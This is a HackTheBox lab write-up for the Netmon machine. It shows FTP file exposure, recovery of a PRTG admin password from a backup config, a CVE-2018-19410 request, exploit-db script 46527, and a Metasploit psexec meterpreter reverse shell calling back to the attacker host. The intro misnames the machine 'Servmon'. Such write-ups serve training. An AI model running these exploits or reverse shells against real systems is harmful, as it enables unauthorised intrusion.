HackTheBox: Netmon
windows config-backup password-incrementing psexecServmon is a Windows-based machine authored by mrb3n, with an average rating of 4.0 stars.
// Lessons Learned
- just like websites, applications always store their config data somewhere, and backups of these configs can be very useful
- after password reuse, password ‘incrementing’ (changing a year, season, number etc.) is the easiest way users compromise their system’s security
- searchsploit is good, but it doesn’t have everything, so it’s always worth searching elsewhere
// Recon
nmap -A netmon.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-15 08:00 AEST
Nmap scan report for netmon.htb (10.10.10.152)
Host is up (0.058s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19 11:18PM 1024 .rnd
| 02-25-19 09:15PM <DIR> inetpub
| 07-16-16 08:18AM <DIR> PerfLogs
| 02-25-19 09:56PM <DIR> Program Files
| 02-02-19 11:28PM <DIR> Program Files (x86)
| 02-03-19 07:08AM <DIR> Users
|_02-25-19 10:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-server-header: PRTG/18.1.37.13946
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-02-14T22:02:05
|_ start_date: 2022-02-14T21:58:52
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: 1m28s, deviation: 0s, median: 1m27s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.08 seconds
There’s a lot of services running on this machine, that we should hopefully be able to gain some useful info from:
- anonymous ftp access to several directories running on port 21
- an *Indy HTTP` webserver running on port 80, serving what looks like a bandwidth monitoring application
- rpc, netbios & smb-related services on 135, 139 and 445
Let’s start by looking at the anonymous ftp server, where the username anonymous and any password is accepted:
ftp anonymous@netmon.htb
Connected to netmon.htb.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||49933|)
125 Data connection already open; Transfer starting.
02-02-19 11:18PM 1024 .rnd
02-25-19 09:15PM <DIR> inetpub
07-16-16 08:18AM <DIR> PerfLogs
02-25-19 09:56PM <DIR> Program Files
02-02-19 11:28PM <DIR> Program Files (x86)
02-03-19 07:08AM <DIR> Users
02-25-19 10:49PM <DIR> Windows
226 Transfer complete.
// Initial Foothold AND User-Flag in one
There’s a lot of the target machine’s filesystem exposed via ftp, which counter-intuitively can make it harder to find useful things. The .rnd file was not something I had encountered before, but it only seems to be some kind of random seed store, possibly used by the network time protocol (NTP). We are able to grab a webserver log file from /inetpub/logs/wmsvc/W3SVC1/ex190226.log, which could come in handy. Oh.. and the user flag is available at /Users/Public/user.txt:
ftp> dir /Users/Public
229 Entering Extended Passive Mode (|||50209|)
125 Data connection already open; Transfer starting.
02-03-19 07:05AM <DIR> Documents
07-16-16 08:18AM <DIR> Downloads
07-16-16 08:18AM <DIR> Music
07-16-16 08:18AM <DIR> Pictures
02-14-22 04:59PM 34 user.txt
07-16-16 08:18AM <DIR> Videos
226 Transfer complete.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||50210|)
125 Data connection already open; Transfer starting.
100% |***************************************************| 34 0.90 KiB/s 00:00 ETA
226 Transfer complete.
34 bytes received in 00:00 (0.60 KiB/s)
ftp> quit
221 Goodbye.
$ cat user.txt
b*******************************
Thankfully not all user-flags are this easy, so let’s move on to privilege escalation and see what that looks like!
// Privilege Escalation
Before we move onto the other services it’s worth reviewing the webserver log just downloaded. It contains a lot of entries for the netmon\administrator account, making use of a WebManagementShell user-agent. This is a good indication that this service could allow remote system-level code execution, if an exploit or valid credentials can be discovered.
The webserver is the next most obvious place to explore, but for something different let’s check the SMB security first:
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 10.10.10.152 -u '' -p ''
SMB 10.10.10.152 445 NETMON [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon) (signing:False) (SMBv1:True)
SMB 10.10.10.152 445 NETMON [-] netmon\: STATUS_ACCESS_DENIED
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 10.10.10.152 -u 'guest' -p ''
SMB 10.10.10.152 445 NETMON [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon) (signing:False) (SMBv1:True)
SMB 10.10.10.152 445 NETMON [-] netmon\guest: STATUS_ACCOUNT_DISABLED
It seems null sessions are not permitted, and the guest account has been disabled. Signing is turned off, which could allow for some man-in-the-middle (MITM) attacks, and SMBv1 is supported, which could also have security implications.
Turning now to the webserver, we’re presented with a login page for PRTG Network Monitor (NETMON):
The page content explains the software provides network monitoring & reporting services, over a variety of different protocols. The link to Download Client Software is disabled without a login. We can try to confirm the account name we found in the server logs, ``netmon\administrator (or any variation of it) is valid, by testing them against the login or forgot password pages. The error message from the login page is consistently *"Your login has failed. Please try again!"*, but the forgot password page returns *"Sorry, this account is unknown"* when entering netmon\administrator, administrator, admin etc. meaning the log entries we found are probably being generated from some other access pathway. Since we don't have much more to go on right now, it's worth checking for known exploits of *PRTG* software, in this case confirmed by the footer to be version 18.1.37.13946`:
searchsploit -w prtg
-------------------------------------------------------------------------- --------------------------------------------
Exploit Title | URL
-------------------------------------------------------------------------- --------------------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution | https://www.exploit-db.com/exploits/46527
PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS | https://www.exploit-db.com/exploits/49156
PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service) | https://www.exploit-db.com/exploits/44500
PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scripting | https://www.exploit-db.com/exploits/34108
-------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results
The first result for RCE (remote code execution) is immediately interesting, but the (Authenticated) caveat could be an issue. Reviewing the exploit anyway, we learn that the exploit is able to create a new user on the machine in the administrators group, provided we can supply a user cookie. Initial authentication may be possible via a set of default credentials, prtgadmin/prtgadmin, but in this case these don’t work. We are able to at least confirm the prtgadmin username exists, by entering it into the Forgot Password form like we tried before, which now returns the message “We have sent an email with your new password to your email address.”. The problem is that we have now likely changed the password for this account, meaning that if we discover it lying around somewhere on the box it probably won’t work, so at this point I went ahead and reset the machine.
None of the other search results are very helpful, but that doesn’t mean we’re out of luck. Searchsploit is usually pretty reliable, but it’s not perfect. Some quick Googling for “prtg cve”, *“prtg exploit” etc. returns this threat report, about a vulnerability in PRTG that allows unathenticated attackers to create users.. by overriding attributes of the “include” directive.. and executing a “/api/addusers” file. This soudnds even more promising than the previous exploit, because we apparently don’t need to be authenticated to execute it. There’s no details about how to actually run the exploit, but further searching for the mentioned CVE-2018-19410 returns a medium blog post, Building an exploit for CVE-2018-19410 that helps us build the request using Burp:
The error message in the redirect looks like an error:
/error.htm?errormsg=Sorry%2C%20your%20user%20account%20is%20not%20allowed%20to%20access%20this%20information.&errorurl=%2Fpublic%2Flogin.htm%3Fid%3D200%26users%3Dattacker%26file%3D%2Fapi%2Faddusers.htm%26
but we’re able to confirm our new attacker user exists, because sending the exact same request again returns an error indicating a username collision:
/error.htm?errormsg=List%20of%20users%20contains%20no%20valid%20login%20names.%20Please%20check%20for%20duplicates%20of%20existing%20users.&errorurl=%2Fpublic%2Flogin.htm%3Fid%3D200%26users%3Dattacker%26file%3D%2Fapi%2Faddusers.htm%26
While this is all great, unfortunately there is no mention in the post about how to set or retrieve the new user’s password. Reading further through the post, it seems that if we were accessing this feature normally as an authenticated user, we would see the text ”..add multiple new user accounts to PRTG by pasting a set of email addresses below.”, meaning that it’s likely an auto-generated login token or password is sent to the addresses specified, rather than being entered at this point. Since HTB machines are generally not connected to the internet and can’t do things like send emails, we’re not able to enter a real email address and receive a link, so while this is an interesting exploit it’s not likely to help us progress further on this target box.
Going back to the ftp server, since we basically have access to the entire C: drive, then we should have access to where the PRTG software is running, meaning we might be able to look at any configuration files (similar to searching for config.php etc. in websites). Googling for prtg configuration data returns this page, indicating we should look in the %programdata%\Paessler\PRTG Network Monitor folder for a PRTG Configuration.dat file:
ftp> cd /ProgramData/Paessler/PRTG\ Network\ Monitor
250 CWD command successful.
ftp> dir -a
229 Entering Extended Passive Mode (|||65402|)
125 Data connection already open; Transfer starting.
12-15-21 07:23AM <DIR> Configuration Auto-Backups
02-14-22 10:54PM <DIR> Log Database
02-02-19 11:18PM <DIR> Logs (Debug)
02-02-19 11:18PM <DIR> Logs (Sensors)
02-02-19 11:18PM <DIR> Logs (System)
02-15-22 12:00AM <DIR> Logs (Web Server)
02-14-22 10:59PM <DIR> Monitoring Database
02-25-19 09:54PM 1189697 PRTG Configuration.dat
02-25-19 09:54PM 1189697 PRTG Configuration.old
07-14-18 02:13AM 1153755 PRTG Configuration.old.bak
02-15-22 05:47PM 1720917 PRTG Graph Data Cache.dat
02-25-19 10:00PM <DIR> Report PDFs
02-02-19 11:18PM <DIR> System Information Database
02-02-19 11:40PM <DIR> Ticket Database
02-02-19 11:18PM <DIR> ToDo Database
226 Transfer complete.
We find the file, as well as a PRTG Configuration.old (a backup according to the url above) and a PRTG Configuration.old.bak. There’s no mention of a .bak file in the documentation but this is a common way developers/admins create what they plan to be temporary copies of files, that ultimately never get deleted.
All 3 files are XML, so are human-readable. There’s over thirty thousand lines in the PRTG Configuration.bat alone, so we’re going to need to search for some common strings - username, password, login etc.. Eventually we find this section:
...
<login>
prtgadmin
</login>
<name>
PRTG System Administrator
</name>
<ownerid>
100
</ownerid>
<password>
<flags>
<encrypted/>
</flags>
<cell col="0" crypt="PRTG">
JO3Y7LLK7IBKCMDN3DABSVAQO5MR5IDWF3MJLDOWSA======
</cell>
<cell col="1" crypt="PRTG">
OEASMEIE74Q5VXSPFJA2EEGBMEUEXFWW
</cell>
</password>
...
The password (or passwords?) are obviously encrypted. Running hashid, a hash identification tool, might help:
┌──(kali㉿kali)-[~]
└─$ hashid -m 'JO3Y7LLK7IBKCMDN3DABSVAQO5MR5IDWF3MJLDOWSA======'
Analyzing 'JO3Y7LLK7IBKCMDN3DABSVAQO5MR5IDWF3MJLDOWSA======'
[+] Unknown hash
┌──(kali㉿kali)-[~]
└─$ hashid -m 'OEASMEIE74Q5VXSPFJA2EEGBMEUEXFWW'
Analyzing 'OEASMEIE74Q5VXSPFJA2EEGBMEUEXFWW'
[+] DNSSEC(NSEC3) [Hashcat Mode: 8300]
Hashid seems to indicate the second value could be a DNSSEC (NSEC3) hash, but this tool can sometimes be wrong. Checking the hashcat examples page shows a pretty different format for this type of hash (7b5n74kq8r441blc2c5qbbat19baj79r:.lvdsiqfj.net:33164473:1) so it’s likely a false positive. This is also confirmed if we try to use hashcat to crack the password, agaist the rockyou.txt wordlist:
hashcat --force -m 8300 -a 0 netmon.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
...
Hashfile 'netmon.hash' on line 1 (admini...OEASMEIE74Q5VXSPFJA2EEGBMEUEXFWW): Separator unmatched
No hashes loaded.
This indicates an invalid hash format, so we’re going to have to look elsewhere.
The PRTG Configuration.old file is identical to PRTG Configuration.dat, but the PRTG Configuration.old.bak file is different, which we can determine by looking at the file sizes. Opening the .old.bak file and searching for our relevant strings again, we find:
<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018
</dbpassword>
It’s possible this user/password combo might let us in, but alas not. At this point I was out of ideas and asked for help on the HTB discord server. It turns out the idea here is that the password, ending in 2018, was from a config that was backed up in the year 2018 (which we can confirm by checking the file creation date). So if we want to use the account for this program running the config that was generated in 2019, we need to change PrTg@dmin2018 to PrTg@dmin2019. To be honest this felt like a bit of a clumsy hack, but I suppose it proves the point that when users aren’t re-using the same passwords across accounts or setups, the next most likely scenario is that they make minor changes to them (incrementing a year, season, number etc). Another lesson learned!
We can now log into the web portal:
The first thing I was curious to check was whether our attacker@prtg.local account from before really was created. Checking the users info screen confirms it was:
But as mentioned earlier, there was no way to access the auto-generated password for this account. And since we’re now logged in as the admin account, a user-level account isn’t very interesting anymore. We can try running the authenticated RCE exploit found earlier, which claimed to be able to generate an account on the machine that would be part of the administrators group. All we have to do is run the script in a terminal and supply the URL of the server, with our admin cookie:
./46527.sh -u http://netmon.htb -c "_ga=GA1.2.502850239.1644878245; _gid=GA1.2.1593277783.1644878245; OCTOPUS1813713946=ezc5NjIwQTNFLTc2MDQtNEY3OC1BOEE1LTk1NjMwNjI5MzYzRn0%3D"
\e[00;33m[+]#########################################################################[+] \e[00m
\e[00;32m[*] Authenticated PRTG network Monitor remote code execution [*] \e[00m
\e[00;33m[+]#########################################################################[+] \e[00m
\e[00;32m[*] Date: 11/03/2019 [*] \e[00m
\e[00;33m[+]#########################################################################[+] \e[00m
\e[00;32m[*] Author: https://github.com/M4LV0 lorn3m4lvo@protonmail.com [*] \e[00m
\e[00;33m[+]#########################################################################[+] \e[00m
\e[00;32m[*] Vendor Homepage: https://www.paessler.com/prtg [*] \e[00m
\e[00;32m[*] Version: 18.2.38 [*] \e[00m
\e[00;32m[*] CVE: CVE-2018-9276 [*] \e[00m
\e[00;32m[*] Reference: https://www.codewatch.org/blog/?p=453 [*] \e[00m
\e[00;33m[+]#########################################################################[+] \e[00m
\e[00;32m# login to the app, default creds are prtgadmin/prtgadmin. once athenticated grab your cookie and use it with the script.
# run the script to create a new user 'pentest' in the administrators group with password 'P3nT3st!' \e[00m
\e[00;33m[+]#########################################################################[+] \e[00m
\e[00;32m [*] file created \e[00m
\e[00;32m [*] sending notification wait....\e[00m
\e[00;32m [*] adding a new user 'pentest' with password 'P3nT3st' \e[00m
\e[00;32m [*] sending notification wait....\e[00m
\e[00;32m [*] adding a user pentest to the administrators group \e[00m
\e[00;32m [*] sending notification wait....\e[00m
\e[00;32m [*] exploit completed new user 'pentest' with password 'P3nT3st!' created have fun! \e[00m
It seems that the exploit has worked, and we should have a pentest administrator account to use. Unfortunately at this point I wasn’t able to actually verify the account - trying the new credentials using smb, winrm and even ftp all failed. I ran the script several times, with different username / password combos to make sure it wasn’t triggering a colission, but the result was always the same. Coming back to the box a day later after it had restarted, I re-ran the exploit and strangely, this time the account was usable:
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 10.10.10.152 -u 'pentest' -p 'P3nT3st'
SMB 10.10.10.152 445 NETMON [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon) (signing:False) (SMBv1:True)
SMB 10.10.10.152 445 NETMON [+] netmon\pentest:P3nT3st (Pwn3d!)
It’s hard to know why this happened, but in certain situations I have had to put strange behaviour like this down to quirkiness in the HTB environment. It’s often the case that multiple people are working on the same machine at once (even the retired ones) so users may be doing things that impede each other without even realising it. Happily though, our new account now works and can be used to establish a meterpreter session through the smb psexec exploit (impacket-psexec could also achieve the same thing):
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.17.230 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/smb/psexec) > set RHOSTS netmon.htb
RHOSTS => netmon.htb
msf6 exploit(windows/smb/psexec) > set SMBPass P3nT3st
SMBPass => P3nT3st
msf6 exploit(windows/smb/psexec) > set SMBUser pentest
SMBUser => pentest
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.10.17.230:4444
[*] 10.10.10.152:445 - Connecting to the server...
[*] 10.10.10.152:445 - Authenticating to 10.10.10.152:445 as user 'pentest'...
[*] 10.10.10.152:445 - Selecting PowerShell target
[*] 10.10.10.152:445 - Executing the payload...
[+] 10.10.10.152:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 10.10.10.152
[*] Meterpreter session 1 opened (10.10.17.230:4444 -> 10.10.10.152:51116 ) at 2022-02-17 08:54:53 +1000
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
From here, it’s straightforward to navigate to the administrator’s folder and retrieve the root-level flag (I prefer to swap to a native shell to avoid the need to escape slashes in paths):
meterpreter> shell
Process 1460 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0EF5-E5E5
Directory of C:\Users\Administrator\Desktop
02/02/2019 11:35 PM <DIR> .
02/02/2019 11:35 PM <DIR> ..
02/16/2022 04:35 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 6,762,962,944 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
2f******************************
